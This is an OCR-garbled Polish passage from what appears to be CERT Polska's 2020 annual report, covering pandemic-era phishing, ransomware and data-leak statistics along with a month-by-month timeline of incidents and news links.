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Rok 2020 byt szczegolny. Okolicznosci
spowodowane pandemig COVID-19 zmusity
wiekszosc z nas do przeniesienia aktywnosci
na platformy online — poczgwszy od pracy
I nauki, przez zatatwianie spraw urzedowych
po spotkania (te biznesowe i te z bliskimi),
a nawet udziat w seansach filmowych, koncer-
tach czy przedstawieniach teatralnych. Zmiana
stylu zycia nie mogta pozostac bez wptywu
na to, co obserwowalismy w krajobrazie za-
grozen. Cho¢ — jak wielokrotnie w ciggu roku
podkreslalismy — nie odnotowaliSmy nowych
metod atakow zwigzanych z pandemig, za-
uwazalnie zwiekszyta sie zarowno skala dzia-
tania cyberprzestepcow, jak i skutki odczuwane
przez ofiary atakow, coraz bardziej uzaleznione
od systemow informatycznych.

Juz w pierwszych tygodniach po ogtoszeniu
stanu epidemii mieliSmy do czynienia z coraz
bardziej wymyslnymi probami wytudzen. Prze-
stepcy masowo rozsytali SMSy i wiadomosci
e-mail, naktaniajgce do podania danych oso-
bowych lub zalogowania sie do konta banko-
wego. Wykorzystywali to, ze sytuacja byta dla
wszystkich zupetnie nowa, a zatem trudno byto
odroznic wiadomosci wiarygodne od oszustw.
Pojawiaty sie wiec rzekome komunikaty
0 zajeciu srodkow na fundusz walki z COVID,
zabezpieczeniu racji zywnosciowych, a przede
wszystkim rozmaitych doptatach do przesytek.
W ramach walki z tym zjawiskiem, stworzyli-
smy w kwietniu 2020 r. liste ostrzezen przed
domenami wykorzystywanymi do wytudzen.

Wiosna byta takze okresem intensywnego
wdrazania w wielu podmiotach narzedzi
do pracy zdalnej i spotkan online. Skutkowato
to z jednej strony zwiekszonym zaintereso-
waniem dla tego oprogramowania u badaczy
podatnosci, a z drugiej aktywnoscig wszelkiego
rodzaju wandali i trolli internetowych, korzysta-
jacych z tego, ze administratorzy i uzytkownicy
dopiero uczyli sie nowych narzedzi. Ten drugi
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problem szczegdlnie dotknat szkoty i uczelnie.
Warto podkresli¢, ze wiekszos¢ producentow
narzedzi do pracy zdalnej dobrze poradzita
sobie z obstugg i naprawianiem zgtaszanych
podatnosci oraz dodawaniem funkcji pod-
noszgcych bezpieczenstwo korzystania, co
mozna uznac za pozytywny efekt pandemii.

Jednym z najbardziej zauwazalnych rodzajow
zagrozen o rosngcym znaczeniu w 2020 r. byt
ransomware. Wiele firm, zmuszonych do pro-
wadzenia dziatalnosci w oparciu o prace zdalng
i sprzedaz online, stawato sie bardzo podatny-
mi celami dla przestepcow wymuszajgcych
haracze. Dodatkowym czynnikiem zwiekszajg-
cym te podatnosc byto powszechne wigczanie
ustug dostepu zdalnego w podmiotach, ktore
nie miaty uprzedniego doswiadczenia w bez-
piecznym korzystaniu z takiego mechanizmu.
Niestety, fale ransomware nie omijaty nawet ta-
kich sektorow jak edukacja czy stuzba zdrowia.

Pod koniec roku w Polsce doszto do przejecia
co najmniej kilku kont spotecznosciowych po-
litykow — wykorzystywano je do prowadzenia
narracji zaostrzajgcej wewnetrzne konflikty
spoteczne lub psucia relacji z sgsiadami i so-
jusznikami Polski. W raporcie piszemy takze
o kilku innych przyktadach kampanii infoops
przeprowadzonych w polskiej cyberprzestrzeni,
zwykle z wykorzystaniem przejetych serwisow
informacyjnych.

W raporcie znajdg Panstwo takze tradycyjnie
opisy naszych projektow badawczo-rozwojo-
wych i stworzonych w nich narzedzi (w tym
open-source), przeglad ztosliwego oprogramo-
wania dominujgcego w 2020 r. oraz statysty-
ki — zarowno dotyczgce incydentow obstugiwa-
nych recznie, jak i zagrozen w sieciach polskich
operatoréw analizowanych automatycznie
w platformie n6.

Zapraszamy do lektury!
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Zespot CERT Polska dziata w strukturach
NASK - Panstwowego Instytutu Badawczego,
prowadzgcego dziatalnos¢ naukowsa, krajowy
rejestr domen .pl i dostarczajgcego zaawanso-
wane ustugi teleinformatyczne. CERT Polska to
pierwszy powstaty w Polsce zespot reagowania
na incydenty. Dzieki preznej dziatalnosci od
1996 r. w srodowisku zespotdw reagujgcych,
stat sie rozpoznawalnym i doswiadczonym
podmiotem w dziedzinie bezpieczenstwa
komputerowego.

Od poczatku istnienia zespotu rdzeniem
dziatalnosci jest obstuga incydentow bezpie-
czenstwa i wspotpraca z podobnymi jednost-
kami na catym Swiecie, zarowno w dziatalnosci
operacyjnej, jak i badawczo-wdrozeniowej. Od
1998 r. CERT Polska jest cztonkiem miedzyna-
rodowego forum zrzeszajgcego zespoty reagu-
jace — FIRST, a od roku 2000 nalezy do grupy
roboczej europejskich zespotow reagujgcych —
TF-CSIRT, w ktorej ma status “Certified by Tru-
sted Introducer”. W 2005 r. z inicjatywy CERT
Polska powstato forum polskich zespotow
abuse — Abuse FORUM, natomiast w 2010 r.
CERT Polska dotgczyt do Anti-Phishing Working
Group, stowarzyszenia gromadzgcego firmy
i instytucje aktywnie walczgce z przestepczo-
Scig w sieci.

Od wejscia w zycie ustawy z dn. 5 lipca 2018 .
0 krajowym systemie cyberbezpieczenstwa
zespot realizuje wiele zadan CSIRT NASK,
zgodnie z art. 26 tej ustawy.

Jako CSIRT NASK odpowiadamy za:

* monitorowanie zagrozen cyberbezpieczen-
stwa i incydentdw na poziomie krajowym;

+ przekazywanie informacji dotyczgcych
incydentow i ryzyk podmiotom krajowego
systemu cyberbezpieczenstwa;

+ wydawanie komunikatéw o zidentyfikowa-
nych zagrozeniach cyberbezpieczenstwa,;

*+ reagowanie na zgtoszone incydenty;

+ klasyfikowanie incydentow, w tym incyden-
tow powaznych oraz incydentéw istotnych,
jako incydenty krytyczne oraz koordynowanie
obstugi incydentow krytycznych;

nask CERT.PLO-

+ wspotprace z sektorowymi zespotami cyber-

bezpieczenstwa w zakresie koordynowania
obstugi incydentow powaznych, w tym doty-
czgcych dwoch lub wiekszej liczby panstw
cztonkowskich Unii Europejskiej, i incyden-
tow krytycznych oraz w zakresie wymiany
informacji pozwalajgcych przeciwdziatac
zagrozeniom cyberbezpieczenstwa;

+ prowadzenie zaawansowanych analiz

ztosliwego oprogramowania oraz analizy
podatnosci;

+ monitorowanie wskaznikow zagrozen cyber-

bezpieczenstwa;

+ rozwijanie narzedzi i metod do wykrywania

i zwalczania zagrozen cyberbezpieczenstwa,

+ prowadzenie dziatan z zakresu budowania

Swiadomosci w obszarze cyberbezpieczen-
stwa;

+ tworzenie i udostepnianie narzedzi dobrowol-

nej wspotpracy i wymiany informacji o zagro-
zeniach cyberbezpieczenstwa i incydentach;

 udziat w Sieci CSIRT;

+ koordynacje obstugi incydentéw zgtaszanych

przez:

- jednostki sektora finansow publicznych,
o ktorych mowa w art. 9 pkt 2-6, 11112
ustawy z dnia 27 sierpnia 2009 r. o finan-
sach publicznych,

+ jednostki podlegte organom administracji
rzgdowej lub przez nie nadzorowane, z wy-
jatkiem jednostek, o ktérych mowa w ust. 7
pkt 2 ustawy o ksc,

« instytuty badawcze,
+ Urzad Dozoru Technicznego,
+ Polskie Centrum Akredytacji,

- Narodowy Fundusz Ochrony Srodowiska
i Gospodarki Wodnej oraz wojewodzkie
fundusze ochrony srodowiska i gospodarki
wodnej,
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+ spotki prawa handlowego wykonujgce
zadania o charakterze uzytecznosci pu-
blicznej w rozumieniu art. 1 ust. 2 ustawy
z dnia 20 grudnia 1996 r. o gospodarce
komunalnej,

- dostawcow ustug cyfrowych, z wyjgtkiem
wymienionych w ust. 7 pkt 5 ustawy o ksc,

+ operatorow ustug kluczowych, z wyjgtkiem
wymienionych w ust. 517 ustawy o ksc,

+ inne podmioty niz wymienione w lit. a—j
oraz ust. 517 ustawy o ksc,

+ 0soby fizyczne;
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W 2020 r. zarejestrowalismy 10420 incy-
dentow cyberbezpieczeristwa, co stanowi
wzrost o 60,7 proc. w porownaniu do roku
ubiegtego. Najpopularniejszym typem
incydentu byt phishing — stanowit az
73 proc. wszystkich obstuzonych incy-
dentow. Liczba takich zgtoszen wzrosta
0 116 proc. rok do roku. Znaczgcy wptyw
na zwiekszenie liczby zarejestrowanych
incydentéw phishingowych miata wpro-
wadzona przez nas w marcu 2020 r. Lista
Ostrzezen przed stronami niebezpiecznymi.

CSIRT NASK, w ramach Ustawy o Kra-
jowym Systemie Cyberbezpieczenstwa
w 2020 r., obstuzyt 32 incydenty, ktore
zaklasyfikowano jako powazne, czyli takie,
ktorych wystgpienie ma istotny skutek
zaktocajgey swiadczenie ustugi kluczowe).

Wzrost udziatu ztosliwego oprogramowa-
nia na platformy mobilne (gtéwnie Android)
w kampaniach spamowych w Polsce.
Rzadziej obserwowalismy kampanie
dystrybuujgce ztosliwe oprogramowanie
na platforme Windows.

Najczesciej wykorzystywany byt trojan
Alien (Cerberus). Obserwowalismy réwniez
zmodyfikowane warianty rodzin Anubis
oraz Hydra, ktore juz wczesniej pojawiaty
sie w Polsce.

Najpopularniejsze scenariusze phishin-
gowe miaty na celu zdobycie danych
logowania do konta Facebook, numeru
karty ptatniczej lub danych logowania
do bankowosci internetowej. Wykorzysty-
wano do tego m.in. wpisy na Facebooku
Z sensacyjnie wyglgdajgcymi nagtowkami,
fatszywe wiadomosci SMS oraz wiadomo-
sci na komunikatorze WhatsApp.

W 2020 r. odnotowalismy serie incydentow
zwigzanych z wyciekami danych. Znacz-
na czesc¢ byta zwigzana z wtamaniami
na infrastrukture polskich uczelni i instytucji
badawczych.

Podobnie jak w zesztych latach, obserwo-
walismy akcje dezinformacyjne zwigzane
z wtamaniami na portale informacyjne
i konta polskich politykéw. Przestepcy

10.

11.

12.

wykorzystywali konta do publikacji fatszy-
wych artykutow, ktérych celem byto m.in.
obnizenie zaufania spotecznego do 0sob
sprawujgcych oficjalne funkcje w panstwie,
a takze wzbudzenie negatywnych nastro-
jow co do obecnosci wojsk amerykanskich
w Polsce.

Ransomware jest zagrozeniem bezpieczen-
stwa dotykajgcym nie tylko firmy znane
na catym sSwiecie, ale takze podmioty
krajowe. Sposrod 110 incydentéw obstu-
zonych przez nas w 2020 r. az 69 zostato
zgtoszonych przez krajowe instytucje
publiczne oraz przedsiebiorstwa. Oprécz
kampanii mailowych, istotnym wektorem
infekcji sg niezabezpieczone ustugi RDP
i znane podatnosci w oprogramowaniu
VPN. W ostatnim roku mozna byto zaob-
serwowac dodatkowe zjawiska polegajgce
na wczesniejszej kradziezy cennych infor-
macji w celu grozenia ich ujawnieniem.

W 2020 r. otrzymalismy informacje
0 711 492 adresach IP zlokalizowanych
w Polsce, pod ktorymi znajdowaty sie
ustugi umozliwiajgce przeprowadzenie
rozproszonych atakéw odmowy ustugi
ze wzmocnieniem (Distributed Reflection
Denial of Service — DRDo0S). Najczescie]
obserwowalismy otwarte serwery DNS
(open resolver).

Wsrod najczesciej wystepujgcych podat-
nych lub otwartych ustug znajdowaty sie:
CWMP, SSL-POODLE, RDP, Telnet i TFTP.

W 2020 r. fgcznie zgromadzilismy informa-
cje 0 636 189 adresach IP wykazujgcych
aktywnos¢ zombie. Stanowi to bardzo
zblizong wartosc¢ do tej, jakg obserwowa-
lismy w 2019 r. Najczesciej widoczna byta
aktywnos¢ botnetow Andromeda i Confic-
ker, ktore sg juz sinkholowane, oraz botnetu
Qsnatch, infekujgcego urzadzenia QNAP
Systems.

W marcu 2020 r. uruchomilismy “Liste
Ostrzezen CERT Polska”, czyli publiczng
i dostepng nieodptatnie baze domen wyko-
rzystywanych do naduzyc¢. Lista umozliwia
blokowanie stron wytudzajgcych dane oraz
doprowadzajgcych do niekorzystnego roz-
porzadzenia srodkami finansowymi.
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10.01

Facebook na skutek btedu ujawnia informacje o profilach prowadzgcych fanpage
https://zaufanatrzeciastrona.pl/post/jak-blad-facebooka-ujawnil-dzisiaj-dane-administrato-

row-wielu-fanpage/

14.01

Publikacja przez Microsoft pakietu aktualizacji zwigzanych z krytycznymi podatnosciami
ustugi Remote Desktop (CVE-2020-0609 oraz CVE-2020-0610)
https://cert.pl/posts/2020/02/podatnosci-w-usludze-remote-desktop/
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0609
https:/msrc.microsoft.com/update-quide/vulnerability/CVE-2020-0610

14.01

Komeo wsparcia dla Wlndows 7 Wmdows Server 2008

lions- choose not- to upgrade/
https://support.microsoft.com/en-us/windows/windows-7-support-ended-on-january-
-14-2020-b75d4580-2cc/-895a-2¢c9c-1466d9a53962
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Wyciek danych firmy ubezpieczeniowej Ergo Hestia
https://niebezpiecznik.pl/post/ergo-hestia-stracilo-dane-klientow-a-mogly-one-tez-zostac-
-wykradzione/

12.02

Ujawnienie informacji o backdoorach w urzadzeniach CryptoAG, wykorzystywanych przez
MSZ RP
https:/niebezpiecznik.pl/post/cia-backdoory-crypto-ag/

16.02

Ujawnienie incydentu zwigzanego z nieuprawnionym dostepem do klastra obliczeniowego
w ICM UW
https://zaufanatrzeciastrona.pl/post/ktos-przez-5-miesiecy-podsluchiwal-hasla-uzytkowni-

kow-centrum-obliczeniowego-uw/
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https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0609
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0610
https://www.zdnet.com/article/windows-7-a-year-after-the-end-of-support-deadline-millions-choose-not-to-upgrade/
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https://niebezpiecznik.pl/post/ergo-hestia-stracilo-dane-klientow-a-mogly-one-tez-zostac-wykradzione/
https://niebezpiecznik.pl/post/cia-backdoory-crypto-ag/
https://zaufanatrzeciastrona.pl/post/ktos-przez-5-miesiecy-podsluchiwal-hasla-uzytkownikow-centrum-obliczeniowego-uw/
https://zaufanatrzeciastrona.pl/post/ktos-przez-5-miesiecy-podsluchiwal-hasla-uzytkownikow-centrum-obliczeniowego-uw/
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21.02

Wtamanie na strone Narodowego Banku Polskiego
https://zaufanatrzeciastrona.pl/post/wlamanie-na-witryne-www-narodowego-banku-pol-

skiego

03

MARZEC

oooooooo@ooooooooo@oo.

13.03

WyC|ek danych i hase+ klientow z firmy pozyczkoweJ MoneyMan. pl

—Dolsk|e| firmy-pozyczkowej/

23.03

Uruchomienie przez CERT Polska Listy Ostrzezen przed stronami niebezpiecznymi

https //cert. pl[posts(2020[03[ostrzezen|a phlshmgz

grali-i-sie-doigrali/

04

KWIECIEN

ooooooo@ooo.ooo.o@oooooooooooo@oo‘

09.04

Wyciek danych sedziow i prokuratoréw z KSSiP
https://zaufanatrzeciastrona.pl/post/dane-ponad-50-tysiecy-polskich-prokuratorow-se-
dZ|ovv i- asesorow kraza pO-sieci/

kSSID i-ciagle-wisza-w- SleCI/

21.04

WyC|ek danych kllentow z firmy Fortum

-Dradu gazu-i-ciepla/

22.04

Umleszczenle fa’rszywego listu polskiego genera+a na stronle Akademii Sztuki WOJenneJ

demu sztuki-wojennej/
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https://zaufanatrzeciastrona.pl/post/wlamanie-na-witryne-www-narodowego-banku-polskiego
https://zaufanatrzeciastrona.pl/post/wlamanie-na-witryne-www-narodowego-banku-polskiego
https://zaufanatrzeciastrona.pl/post/dane-i-hasla-ponad-260-tysiecy-klientow-wyciekly-z-polskiej-firmy-pozyczkowej/
https://zaufanatrzeciastrona.pl/post/dane-i-hasla-ponad-260-tysiecy-klientow-wyciekly-z-polskiej-firmy-pozyczkowej/
https://cert.pl/posts/2020/03/ostrzezenia_phishing/
https://zaufanatrzeciastrona.pl/post/koniec-wiekszosci-oszustw-na-dotpaya-zlodzieje-igrali-i-sie-doigrali/
https://zaufanatrzeciastrona.pl/post/koniec-wiekszosci-oszustw-na-dotpaya-zlodzieje-igrali-i-sie-doigrali/
https://zaufanatrzeciastrona.pl/post/dane-ponad-50-tysiecy-polskich-prokuratorow-sedziow-i-asesorow-kraza-po-sieci/
https://zaufanatrzeciastrona.pl/post/dane-ponad-50-tysiecy-polskich-prokuratorow-sedziow-i-asesorow-kraza-po-sieci/
https://niebezpiecznik.pl/post/dane-dziesiatek-tysiecy-sedziow-i-prokuratorow-wyciekly-z-kssip-i-ciagle-wisza-w-sieci/
https://niebezpiecznik.pl/post/dane-dziesiatek-tysiecy-sedziow-i-prokuratorow-wyciekly-z-kssip-i-ciagle-wisza-w-sieci/
https://niebezpiecznik.pl/post/numery-pesel-i-dowodow-wyciekly-polskiemu-dostawcy-pradu-gazu-i-ciepla/
https://niebezpiecznik.pl/post/numery-pesel-i-dowodow-wyciekly-polskiemu-dostawcy-pradu-gazu-i-ciepla/
https://zaufanatrzeciastrona.pl/post/falszywy-list-polskiego-generala-na-stronie-www-akademii-sztuki-wojennej/
https://zaufanatrzeciastrona.pl/post/falszywy-list-polskiego-generala-na-stronie-www-akademii-sztuki-wojennej/
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23.04

Atak ransomware na uczelnie CDV oraz SWPS
https://zaufanatrzeciastrona.pl/post/powazny-incydent-bezpieczenstwa-na-uczelniach-
-collegium-da-vinci-i-swps/

27.04

Wyciek danych klientow z Panek Rent a Car
https://zaufanatrzeciastrona.pl/post/wyciek-danych-klientow-i-wypozyczalni-panek-rent-a-
-car/

29.04

Rozbicie grupy przestepczej Infinity Black handlujgcej wykradzionymi danymi
https://policja.pl/pol/aktualnosci/188105,Przestepcy-sprzedawali-w-Darknecie-bazy-
danvch Dochodzace -z-wlaman-do-systemow-i. html

Iam| na-ogromna-skale/

o
8

<
>
(.

ooooo@ooooooooo@ooooooooo@ooooooooo@oo‘

04.05

WyC|ek danych klientow apteki Gem|n|
h b ik.pl

—uDommkaml/

04.05

Wtamanie i wyciek danych osobowych studentow z Politechniki Warszawskie;
https://zaufanatrzeciastrona.pl/post/powazny-wyciek-wielu-danych-osobowych-studento-
w-politechniki-warszawskiej/

06.05

Polski badacz jOOru odkrywa btgd obecny we wszystkich smartfonach Samsung wyprodu-
kowanych po 2015 roku
https:/niebezpiecznik.pl/post/polak-odkryl-dziure-we-wszystkich-nowych-samsungach/

26.05

Rozbicie przez Policje grupy oszukujgcej ,na BLIKa"
https://niebezpiecznik.pl/post/policja-rozbila-grupe-oszukujaca-na-blika/



https://zaufanatrzeciastrona.pl/post/powazny-incydent-bezpieczenstwa-na-uczelniach-collegium-da-vinci-i-swps/
https://zaufanatrzeciastrona.pl/post/powazny-incydent-bezpieczenstwa-na-uczelniach-collegium-da-vinci-i-swps/
https://zaufanatrzeciastrona.pl/post/wyciek-danych-klientow-i-wypozyczalni-panek-rent-a-car/
https://zaufanatrzeciastrona.pl/post/wyciek-danych-klientow-i-wypozyczalni-panek-rent-a-car/
https://policja.pl/pol/aktualnosci/188105,Przestepcy-sprzedawali-w-Darknecie-bazy-danych-pochodzace-z-wlaman-do-systemow-i.html
https://policja.pl/pol/aktualnosci/188105,Przestepcy-sprzedawali-w-Darknecie-bazy-danych-pochodzace-z-wlaman-do-systemow-i.html
https://zaufanatrzeciastrona.pl/post/zatrzymani-polacy-ktorzy-handlowali-loginami-i-haslami-na-ogromna-skale/
https://zaufanatrzeciastrona.pl/post/zatrzymani-polacy-ktorzy-handlowali-loginami-i-haslami-na-ogromna-skale/
https://niebezpiecznik.pl/post/wyciek-danych-klientow-apteki-gemini-apteka-przeprasza-upominkami/
https://niebezpiecznik.pl/post/wyciek-danych-klientow-apteki-gemini-apteka-przeprasza-upominkami/
https://zaufanatrzeciastrona.pl/post/powazny-wyciek-wielu-danych-osobowych-studentow-politechniki-warszawskiej/
https://zaufanatrzeciastrona.pl/post/powazny-wyciek-wielu-danych-osobowych-studentow-politechniki-warszawskiej/
https://niebezpiecznik.pl/post/polak-odkryl-dziure-we-wszystkich-nowych-samsungach/
https://niebezpiecznik.pl/post/policja-rozbila-grupe-oszukujaca-na-blika/
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26.05

Wyciek danych z ifp.pl — najwiekszego forum policyjnego w Polsce
https://zaufanatrzeciastrona.pl/post/kto-stoi-za-atakiem-na-internetowe-forum-policyine/

27.05

Seria wtaman na polskie serwisy informacyjne i umieszczenie fatszywego artykutu dot.
polsko-amerykanskich ¢wiczen wojskowych w Polsce
https://cyberdefence?4.pl/dezinformacja-w-stosunki-polsko-amerykanskie-kolejne-redak-
cje-w-kraju-padaja-ofiarami-cyberatakow-na-swoje-serwisy

06

CZERWIEC

oooooooooo@ooooooooo@ooooooooooo@oo.

10.06

Precedensowe wykorzystanie exploita na system Tails w operacji Facebook-FBI do zatrzy-
mania przestepcy

paniu-grozneqo-przestepcy/

24.06

Wyciek danych z serwisu rekrutacyjnego Politechniki Warszawskiej — zapisy.pw.edu.pl
https://niebezpiecznik.pl/post/kolejny-wyciek-danych-studentow-politechniki-warszaw-

sKiej/

25.06

Badanie bezpieczenstwa stron internetowych polskich postow przeprowadzone przez POC
https://www.poc.org.pl/assets/reports/POC-raport-bezpieczenstwo-stron-poslow-

-RP-2020.pdf
https://zaufanatrzeciastrona.pl/post/fatalny-poziom-bezpieczenstwa-stron-www-polskich-

-poslow/

07

LIPIEC

®
®
[ J
.
[ ]

03.07
WyC|ek danych kllentow 99rent.pl
h b

sele-i-numery- dokumentovv/
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https://zaufanatrzeciastrona.pl/post/kto-stoi-za-atakiem-na-internetowe-forum-policyjne/
https://cyberdefence24.pl/dezinformacja-w-stosunki-polsko-amerykanskie-kolejne-redakcje-w-kraju-padaja-ofiarami-cyberatakow-na-swoje-serwisy
https://cyberdefence24.pl/dezinformacja-w-stosunki-polsko-amerykanskie-kolejne-redakcje-w-kraju-padaja-ofiarami-cyberatakow-na-swoje-serwisy
https://zaufanatrzeciastrona.pl/post/jak-facebook-kupil-exploita-na-tailsy-by-pomoc-w-zlapaniu-groznego-przestepcy/
https://zaufanatrzeciastrona.pl/post/jak-facebook-kupil-exploita-na-tailsy-by-pomoc-w-zlapaniu-groznego-przestepcy/
https://niebezpiecznik.pl/post/kolejny-wyciek-danych-studentow-politechniki-warszawsKiej/
https://niebezpiecznik.pl/post/kolejny-wyciek-danych-studentow-politechniki-warszawsKiej/
https://niebezpiecznik.pl/post/wypozyczalnia-aut-99rent-pl-miala-wyciek-niestety-objal-pesele-i-numery-dokumentow/
https://niebezpiecznik.pl/post/wypozyczalnia-aut-99rent-pl-miala-wyciek-niestety-objal-pesele-i-numery-dokumentow/
https://www.poc.org.pl/assets/reports/POC-raport-bezpieczenstwo-stron-poslow-RP-2020.pdf
https://www.poc.org.pl/assets/reports/POC-raport-bezpieczenstwo-stron-poslow-RP-2020.pdf
https://zaufanatrzeciastrona.pl/post/fatalny-poziom-bezpieczenstwa-stron-www-polskich-poslow/
https://zaufanatrzeciastrona.pl/post/fatalny-poziom-bezpieczenstwa-stron-www-polskich-poslow/
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13.07

Problemy Z pacjent. gov. pl skutkujgce UJawmemem prawie 250k Sk|erowan

Zl- 250 000-cudzych- sklerovvan/

14.07

Krytyczna podatnosc¢ serwera DNS systemu Windows Server

https://www.cert.pl/posts/2020/07/krytyczna-podatnosc-cve-2020-1350/
https://msrc.microsoft.com/update-quide/en-US/vulnerability/CVE-2020-1350

15.07

Przejecie oficjalnych kont Apple, Uber, Billa Gatesa i Elona Muska na Twitterze
https://zaufanatrzeciastrona.pl/post/powazny-atak-na-twittera-przejete-konta-apple-ube-
ra-muska-gatesa-i-wiele-innych/

23.07

Atak ransomware na firme Garmin

https://zaufanatrzeciastrona.pl/post/powazne-problemy-garmina-prawdopodobny-atak-

-ransomware/

08

SIERPIEN

............@............@...

04.08

WyC|ek danych z Moodlea Politechniki WarszawskleJ

—WVCleklv takze-dane-z- moodla/
https://niebezpiecznik.pl/post/kolejny-wyciek-danych-studentow-z-politechniki-warszaw-

skiej/
09.08

Zajecie drugiego miejsca przez polski zespot Poland Can Into Space w konkursie Hack-A-
-Sat

html
https://www.nask.pl/pl/aktualnosci/3889,Sukces-polskiej-druzyny-w-konkursie-Hack-a-Sat.

html


https://zaufanatrzeciastrona.pl/post/na-pacjent-gov-pl-szukal-skierowania-dziecka-znalazl-250-000-cudzych-skierowan/
https://zaufanatrzeciastrona.pl/post/na-pacjent-gov-pl-szukal-skierowania-dziecka-znalazl-250-000-cudzych-skierowan/
https://www.cert.pl/posts/2020/07/krytyczna-podatnosc-cve-2020-1350/
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1350
https://zaufanatrzeciastrona.pl/post/powazny-atak-na-twittera-przejete-konta-apple-ubera-muska-gatesa-i-wiele-innych/
https://zaufanatrzeciastrona.pl/post/powazny-atak-na-twittera-przejete-konta-apple-ubera-muska-gatesa-i-wiele-innych/
https://zaufanatrzeciastrona.pl/post/powazne-problemy-garmina-prawdopodobny-atak-ransomware/
https://zaufanatrzeciastrona.pl/post/powazne-problemy-garmina-prawdopodobny-atak-ransomware/
https://zaufanatrzeciastrona.pl/post/uwaga-studenci-politechniki-warszawskiej-jednak-wyciekly-takze-dane-z-moodla/
https://zaufanatrzeciastrona.pl/post/uwaga-studenci-politechniki-warszawskiej-jednak-wyciekly-takze-dane-z-moodla/
https://niebezpiecznik.pl/post/kolejny-wyciek-danych-studentow-z-politechniki-warszawskiej/
https://niebezpiecznik.pl/post/kolejny-wyciek-danych-studentow-z-politechniki-warszawskiej/
https://www.rp.pl/Sluzby-mundurowe/309129985-Hack-a-Sat-atak-na-satelite-odparty.html
https://www.rp.pl/Sluzby-mundurowe/309129985-Hack-a-Sat-atak-na-satelite-odparty.html
https://www.nask.pl/pl/aktualnosci/3889,Sukces-polskiej-druzyny-w-konkursie-Hack-a-Sat.html
https://www.nask.pl/pl/aktualnosci/3889,Sukces-polskiej-druzyny-w-konkursie-Hack-a-Sat.html
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21.08

Awaria serwerow Telewizji Polskiej
https://www.wirtualnemedia.pl/artykul/potezna-awaria-internetowa-tvp-wskutek-awarii-
-pradu-serwery-tvp-nie-zostaly-uszkodzone
https://niebezpiecznik.pl/post/awaria-w-tvp-serwisy-nie-dzialaja-a-emisja-programow-jest-

-zagrozona/
24.08

Awar|a w mBanku i nlew+aSC|We przyp|sywan|e rachunkow kllentow nowym k||entom

-wasze-konta- Drzvoadkowvm uzytkownikom/

28.08

Wyciek danych uzytkownikow serwisu Benchmark.pl
https://zaufanatrzeciastrona.pl/post/wyciek-danych-uzytkownikow-serwisu-benchmark-

o/

09

WRZESIEN

.........@..................@...........@...

16.09

Wydano akt oskarzenia przeciwko cztonkom chinskiej grupy APT-41 odpowiedzialnej m.in
za wtamanie do sieci TeamViewera
https://zaufanatrzeciastrona.pl/post/chinscy-hakerzy-latami-kontrolowali-systemy-te-
amviewera-i-nie-tylko/

24.09

Zatrzymanie grupy polskich cyberprzestepcow odpowiedzialnych za fatszywe sklepy
mternetowe Wyrab|an|e duplikatow kart sim i alarmy bombowe

szenia- m|aly byc-przykrywka-dla-oszustw- 4700445
https://zaufanatrzeciastrona.pl/post/duza-grupa-polskich-przestepcow-internetowych-roz-

bita-i-zatrzymana-brawo/

28.09

Wycnek danych ze skrzynki pocztoweJ Krzysztofa Rutkowsk|ego

Wej- ﬂrmv rutkowsk|eC|o oprocz-dokumentow-to-takze-zdjecia-i-filmy.html
https://zaufanatrzeciastrona.pl/post/dziwny-zmanipulowany-wyciek-plikow-ze-skrzynki-

-pocztowej-krzysztofa-rutkowskiego/

20


https://www.wirtualnemedia.pl/artykul/potezna-awaria-internetowa-tvp-wskutek-awarii-pradu-serwery-tvp-nie-zostaly-uszkodzone
https://www.wirtualnemedia.pl/artykul/potezna-awaria-internetowa-tvp-wskutek-awarii-pradu-serwery-tvp-nie-zostaly-uszkodzone
https://niebezpiecznik.pl/post/awaria-w-tvp-serwisy-nie-dzialaja-a-emisja-programow-jest-zagrozona/
https://niebezpiecznik.pl/post/awaria-w-tvp-serwisy-nie-dzialaja-a-emisja-programow-jest-zagrozona/
https://zaufanatrzeciastrona.pl/post/takiej-afery-w-mbanku-jeszcze-nie-bylo-przypisuje-wasze-konta-przypadkowym-uzytkownikom/
https://zaufanatrzeciastrona.pl/post/takiej-afery-w-mbanku-jeszcze-nie-bylo-przypisuje-wasze-konta-przypadkowym-uzytkownikom/
https://zaufanatrzeciastrona.pl/post/wyciek-danych-uzytkownikow-serwisu-benchmark-pl/
https://zaufanatrzeciastrona.pl/post/wyciek-danych-uzytkownikow-serwisu-benchmark-pl/
https://zaufanatrzeciastrona.pl/post/chinscy-hakerzy-latami-kontrolowali-systemy-teamviewera-i-nie-tylko/
https://zaufanatrzeciastrona.pl/post/chinscy-hakerzy-latami-kontrolowali-systemy-teamviewera-i-nie-tylko/
https://www.rp.pl/Spoleczenstwo/309239886-Sledczy-rozbili-szajke-najwiekszych-polskich-hakerow.html
https://www.rp.pl/Spoleczenstwo/309239886-Sledczy-rozbili-szajke-najwiekszych-polskich-hakerow.html
https://tvn24.pl/polska/falszywe-alarmy-bombowe-policja-zatrzymala-podejrzanych-zgloszenia-mialy-byc-przykrywka-dla-oszustw-4700445
https://tvn24.pl/polska/falszywe-alarmy-bombowe-policja-zatrzymala-podejrzanych-zgloszenia-mialy-byc-przykrywka-dla-oszustw-4700445
https://zaufanatrzeciastrona.pl/post/duza-grupa-polskich-przestepcow-internetowych-rozbita-i-zatrzymana-brawo/
https://zaufanatrzeciastrona.pl/post/duza-grupa-polskich-przestepcow-internetowych-rozbita-i-zatrzymana-brawo/
https://biznes.wprost.pl/technologie/internet/10370919/wyciek-danych-ze-skrzynki-mailowej-firmy-rutkowskiego-oprocz-dokumentow-to-takze-zdjecia-i-filmy.html
https://biznes.wprost.pl/technologie/internet/10370919/wyciek-danych-ze-skrzynki-mailowej-firmy-rutkowskiego-oprocz-dokumentow-to-takze-zdjecia-i-filmy.html
https://zaufanatrzeciastrona.pl/post/dziwny-zmanipulowany-wyciek-plikow-ze-skrzynki-pocztowej-krzysztofa-rutkowskiego/
https://zaufanatrzeciastrona.pl/post/dziwny-zmanipulowany-wyciek-plikow-ze-skrzynki-pocztowej-krzysztofa-rutkowskiego/
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20.10

Szesciu funkcjonariuszy GRU oskarzonych o ataki NotPetya, KillDisk, OlympicDestroyer
https://niebezpiecznik.pl/post/szesciu-oficerow-gru-oskarzonych-o-ataki-notpetya-killdisk-
-olympicdestroyer-i-in/

26.10

Wtamanie na konto na Twitterze postanki Joanny Borowiak
